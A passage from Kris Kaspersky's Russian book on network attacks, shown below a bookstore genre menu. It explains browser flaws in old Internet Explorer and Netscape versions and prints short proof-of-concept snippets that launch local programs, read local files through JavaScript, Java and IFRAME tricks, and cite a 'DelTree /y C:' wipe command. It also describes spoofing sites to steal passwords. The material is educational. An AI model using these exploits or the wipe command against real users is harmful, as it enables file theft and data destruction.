- Любовные романы
- Фантастика и фэнтези
- Ненаучная фантастика
- Ироническое фэнтези
- Научная Фантастика
- Фэнтези
- Ужасы и Мистика
- Боевая фантастика
- Альтернативная история
- Космическая фантастика
- Попаданцы
- Юмористическая фантастика
- Героическая фантастика
- Детективная фантастика
- Социально-психологическая
- Боевое фэнтези
- Русское фэнтези
- Киберпанк
- Романтическая фантастика
- Городская фантастика
- Технофэнтези
- Мистика
- Разная фантастика
- Иностранное фэнтези
- Историческое фэнтези
- LitRPG
- Эпическая фантастика
- Зарубежная фантастика
- Городское фентези
- Космоопера
- Разное фэнтези
- Книги магов
- Любовное фэнтези
- Постапокалипсис
- Бизнес
- Историческая фантастика
- Социально-философская фантастика
- Сказочная фантастика
- Стимпанк
- Романтическое фэнтези
- Ироническая фантастика
- Детективы и Триллеры
- Проза
- Юмор
- Феерия
- Новелла
- Русская классическая проза
- Современная проза
- Повести
- Контркультура
- Русская современная проза
- Историческая проза
- Проза
- Классическая проза
- Советская классическая проза
- О войне
- Зарубежная современная проза
- Рассказы
- Зарубежная классика
- Очерки
- Антисоветская литература
- Магический реализм
- Разное
- Сентиментальная проза
- Афоризмы
- Эссе
- Эпистолярная проза
- Семейный роман/Семейная сага
- Поэзия, Драматургия
- Приключения
- Детская литература
- Загадки
- Книга-игра
- Детская проза
- Детские приключения
- Сказка
- Прочая детская литература
- Детская фантастика
- Детские стихи
- Детская образовательная литература
- Детские остросюжетные
- Учебная литература
- Зарубежные детские книги
- Детский фольклор
- Буквари
- Книги для подростков
- Школьные учебники
- Внеклассное чтение
- Книги для дошкольников
- Детская познавательная и развивающая литература
- Детские детективы
- Домоводство, Дом и семья
- Юмор
- Документальные книги
- Бизнес
- Работа с клиентами
- Тайм-менеджмент
- Кадровый менеджмент
- Экономика
- Менеджмент и кадры
- Управление, подбор персонала
- О бизнесе популярно
- Интернет-бизнес
- Личные финансы
- Делопроизводство, офис
- Маркетинг, PR, реклама
- Поиск работы
- Бизнес
- Банковское дело
- Малый бизнес
- Ценные бумаги и инвестиции
- Краткое содержание
- Бухучет и аудит
- Ораторское искусство / риторика
- Корпоративная культура, бизнес
- Финансы
- Государственное и муниципальное управление
- Менеджмент
- Зарубежная деловая литература
- Продажи
- Переговоры
- Личная эффективность
- Торговля
- Научные и научно-популярные книги
- Биофизика
- География
- Экология
- Биохимия
- Рефераты
- Культурология
- Техническая литература
- История
- Психология
- Медицина
- Прочая научная литература
- Юриспруденция
- Биология
- Политика
- Литературоведение
- Религиоведение
- Научпоп
- Психология, личное
- Математика
- Психотерапия
- Социология
- Воспитание детей, педагогика
- Языкознание
- Беременность, ожидание детей
- Транспорт, военная техника
- Детская психология
- Науки: разное
- Педагогика
- Зарубежная психология
- Иностранные языки
- Филология
- Радиотехника
- Деловая литература
- Физика
- Альтернативная медицина
- Химия
- Государство и право
- Обществознание
- Образовательная литература
- Учебники
- Зоология
- Архитектура
- Науки о космосе
- Ботаника
- Астрология
- Ветеринария
- История Европы
- География
- Зарубежная публицистика
- О животных
- Шпаргалки
- Разная литература
- Зарубежная литература о культуре и искусстве
- Пословицы, поговорки
- Боевые искусства
- Прочее
- Периодические издания
- Фанфик
- Военное
- Цитаты из афоризмов
- Гиды, путеводители
- Литература 19 века
- Зарубежная образовательная литература
- Военная история
- Кино
- Современная литература
- Военная техника, оружие
- Культура и искусство
- Музыка, музыканты
- Газеты и журналы
- Современная зарубежная литература
- Визуальные искусства
- Отраслевые издания
- Шахматы
- Недвижимость
- Великолепные истории
- Музыка, танцы
- Авто и ПДД
- Изобразительное искусство, фотография
- Истории из жизни
- Готические новеллы
- Начинающие авторы
- Спецслужбы
- Подростковая литература
- Зарубежная прикладная литература
- Религия и духовность
- Старинная литература
- Справочная литература
- Компьютеры и Интернет
- Блог
ТЕХНИКА СЕТЕВЫХ АТАК - Крис Касперский
Шрифт:
Интервал:
Закладка:
Аналогичного результата можно добиться и более простым путем. Достаточно лишь вызвать скрипт “buy.pl” следующим образом: “GET /cgi-bin/buy.pl?Jhon=Y2ZA”, где “Y2ZA” - код товара.
Атака на HTTP-клиента
O В этой главе:
O Классификация основных ошибок
O Ошибки, позволяющие получить доступ к локальным файлам клиента
O Ошибки, позволяющие завесить браузер (или операционную систему)
O Техника поделки сайтов и методы ее обнаружения
«…пустяки, что я старше тебя на тридцать лет! Был я твоим ровесником! Был. Будешь ты моим ровесником! Будешь. Спрашивается, какая между нами разница? Hикакой»
Нодар Думбадзе. “Я, Бабушка, Илико и Илларион”
Современные браузеры представляют собой очень сложные системы, поддерживающие не только базовые функции форматирования текста, но и включающие в себя средства выполнения программ, написанных на Java, JavaScript, Visual Basic Script и т.д. В результате такой сложности неизбежно появление ошибок реализации, позволяющих злоумышленнику как нарушать нормальную работу компьютера клиента, так и получать доступ к его файлам и папкам.
Конечно, фирмы-производители исправляют ошибки, но в отличие от серверного программного обеспечения, «заплатки» на продукцию «народного потребления» часто остаются невостребованными. Ну не заботится рядовой пользователь о собственной безопасности до такой степени, чтобы регулярно посещать сайт фирмы-разработчика и своевременно устанавливать все исправления.
А ошибок в популярнейших браузерах Internet Explorer и Netscape Navigator приблизительно столько же, сколько во всех остальных программах вместе взятых. Время грубых брешей в защите ушло в песок истории вместе с первыми версиями, но и сегодня не все безоблачно, и атаки на клиентов по-прежнему возможны.
Большинство атак инертны, т.е. злоумышленник не способен самостоятельно атаковать компьютер жертвы, пока та не выполнит некоторые действия, например, зайдет на страничку, содержащую троянский код, кликнет по ссылке и т.д. Поэтому, если посещать только доверительные сервера, атаки можно не опасаться. Однако в большинстве случаев такое решение оказывается неприемлемым: очень часто требуемый ресурс находится на сервере неизвестного происхождения и не существует никакой другой альтернативы кроме как рискнуть и зайти на него. Кроме того, многие почтовые клиенты умеют отображать письма в формате HTML, и злоумышленник, не желающий ждать, пока жертва заглянет на его страничку, может отправить ей письмо, содержащее атакующий HTML-код! Запрещение же отображать HTML-письма часто оказывается неприемлемо, поскольку, многие легальные пользователи отправляют письма именно в этом формате. Не требовать же от всех своих респондентов присылать корреспонденцию в plain text only!
Все ошибки, встречающиеся в браузерах, можно поделить на четыре следующих категории:
1) ошибки, приводящие к возможности переполнения буфера и, следовательно, завешиванию системы или выполнению на ней переданного кода
2) ошибки, открывающие доступ к файлам, расположенным на компьютере клиента
3) ошибки, позволяющие подделывать чужие сайты
4) ошибки контроля корректности HTML-кода и кода скриптов, позволяющие злоумышленнику скушать все системные ресурсы, завесить браузер (не систему), вызывать раздражающие графические или звуковые эффекты и т.д.
Ошибки переполнения в программах подобного уровня сложности при сегодняшнем подходе к тестированию кода фактически неизбежны и всегда обнаруживаются в изобилии. Методы поиска уязвимости подобного рода описаны в главе «Технология срыва стека» и здесь рассматриваться не будут.
Врезка «информация»
В приложении Internet Explorer версий 4.0 и 4.1 при попытке открытия ресурса [304] длина имени которого превышает 256 символов, происходит переполнение буфера с возможностью исполнения переданного жертве кода. По утверждению Microsoft ошибка проявляется только при запуске браузера под Windows 95 (Windows 98) и не возымеет никакого эффекта под Windows NT.
Подробнее об этом можно прочитать в технической заметке ID: Q176697 “Security Patches for Internet Explorer“ Базы Знаний Microsoft.
То же самое происходит при попытке открытия слишком длинной ссылки по протоколу “mk”. Подробнее об этом можно прочитать на сайте группы l0pht (http://www.l0pht.com/advisories.html)
Врезка «замечание»
Протокол mk используется для доступа к *.chm - файлам. Такое расширение имеют файлы помощи Windows и Microsoft Visual Studio. С ними связана другая уязвимость - скрипт может командой window.showHelp() открывать chm файлы с локального диска пользователя, а сами chm файлы могут содержать в себе команду запуска исполняемых файлов.
Ошибки, открывающие доступ к локальным файлам жертвы [305], наиболее типичны для Internet Explorer, вследствие его тесной интеграции с операционной системой. В результате такой интеграции появилась поддержка ссылок вида “file://путь/имя файла”, работающих с локальными файлами и папками. А объединение «проводника» Windows с браузером научило Internet Explorer открывать ярлыки (файлы с расширением.lnk).
Таким образом, появилась возможность создания ссылок, как открывающих, так и запускающих документы и файлы на компьютере клиента. Следующий пример демонстрирует ссылку, нажатие на которую запускает приложение “calc.exe” на компьютере жертвы.
· Index.htm· «A HREF="calc.url"»Click Here«/a»· calc.url· [InternetShortcut]· URL=file://calc.exe
Опасность заключается в том, что помимо безобидного Калькулятора существуют и такие программы, как “format.com”, “deltree.exe” и др. А Internet Explorer 3.0 запускал их без предупреждения. Для достижения задуманного злоумышленнику было достаточно поместить на свою страничку ссылку на lnk файл, содержащий вызов наподобие “C:WindowsCommandStart.exe DelTree /y C:”.
В следующих версиях Internet Explorer эта ошибка была устранена, но обнаружились и другие. Было бы бессмысленно подробно разбирать здесь каждую из них. Оперативную информацию можно получить на сайтах производителей или обратиться к независимым источникам (например, www.l0pht.com).
Даже последняя на момент написания книги, пятая версия браузера Internet Explorer, запущенная под управлением Windows 2000, остается небезопасной. Одна из ошибок позволяет читать локальные файлы с диска пользователя. Теоретически все скрипты должны иметь доступ только к тем файлам, которые находятся в том же домене, откуда и был запущен скрипт. Однако строгое соблюдение этого правила значительно ограничило бы возможности скриптов, поэтому пришлось пойти на некоторые послабления.
Команда “windows.open(file://C:/test.txt)” откроет файл независимо от того, в каком домене расположен вызывающий код. Однако получить доступ к его содержимому при нормальном развитии событий невозможно. Но если с помощью перенаправления изменить путь к файлу на URL, указывающий на Java-код, то этот Java-код выполнится в контексте локального документа и, следовательно, получит к нему полный доступ!
Ниже приведен один из примеров программной реализации такого трюка (на диске, прилагаемом к книге, он находится в файле “/SRC/iebug.htm”). Он одинаково хорошо работает как из-под браузера, так и при просмотре HTML-письма в Outloock Express.
· «SCRIPT LANGUAGE="JavaScript"»· z=window.open("file://c:/test.txt");· z.location="xxxxxxx";· «/SCRIPT»
Команда z.location=”xxxxx” осуществляет перенаправление по указанному адресу, например, http://www.nat.bg/~joro/reject.cgi?jsredir1. В этом случае содержимое файла “C:test.txt” будет выведено в окне диалога.
В Netscape Communicator 4.7 для предотвращения доступа к локальным файлам, запрещено использование протокола “file” в документах, открытых по протоколу http. Защита сводится к проверке параметров, передаваемых таким функциям, как, например, “open”. Ядро же виртуальной машины Java позволят манипулировать локальными файлами вне зависимости от того, откуда был загружен скрипт. Ниже приведен один из возможных примеров, позволяющих обойти защиту:
· URL zzz=new URL("file://C:/test.txt");
· getAppletContext().showDocument(zzz,"newin");
Поддержка плавающих форм в Internet Explorer 5.01 (и в некоторых других версиях) реализована с ошибкой. Событие “NavigateComplete2”, извещающие о завершении переселения документа на новое местоположение, позволяет обеспечить доступ к этому документу, даже если он расположен на локальном диске клиента.
Код, приведенный ниже (на диске, прилагаем к книге, он содержится в файле “/SRC/ifrane.htm”), демонстрирует чтение файла “C:test.txt” выводя его содержимое в диалоговом окне:
· «IFRAME ID="Z"»«/IFRAME»· «SCRIPT for=Z event="NavigateComplete2(x)"»· alert(x.document.body.innerText);· «/SCRIPT»·· «SCRIPT»· Z.navigate("file://c:/test.txt");· «/SCRIPT»·
На рисунке 089 продемонстрирован результат работы этого примера. Для его успешного выполнения необходимо предварительно создать в корне диска “С” файл “test.txt” c произвольным содержимым.
Рисунок 086 Доступ к содержимому локальных файлов с использованием IFRANEЧасто злоумышленники для похищения конфиденциальной информации (например, паролей) используют технику подделки сайтов, заключающуюся в следующем: злоумышленник помещает на свою страничку ссылку, ведущую как будто к hotmail.com (или любому другому сайту), но жертва, решившая отправится туда, попадает вовсе не на hotmail.com, а на страничку злоумышленника, по внешнему виду ничем не отличающуюся от оригинала. Специальным образом сконструированный скрипт фальсифицирует строку адреса, строку статуса и заголовок окна браузера. Ничего не подозревающая жертва вводит свой пароль, раскрывая его злоумышленнику. Официально считается, что подобный прием основывается не на ошибках реализации, а на вполне легальных и документированных возможностях скриптов, поэтому практически все бразузеры позволяют очень качественно подделывать чужие сайты и маловероятно, чтобы в ближайшем будущем что-либо изменилось.

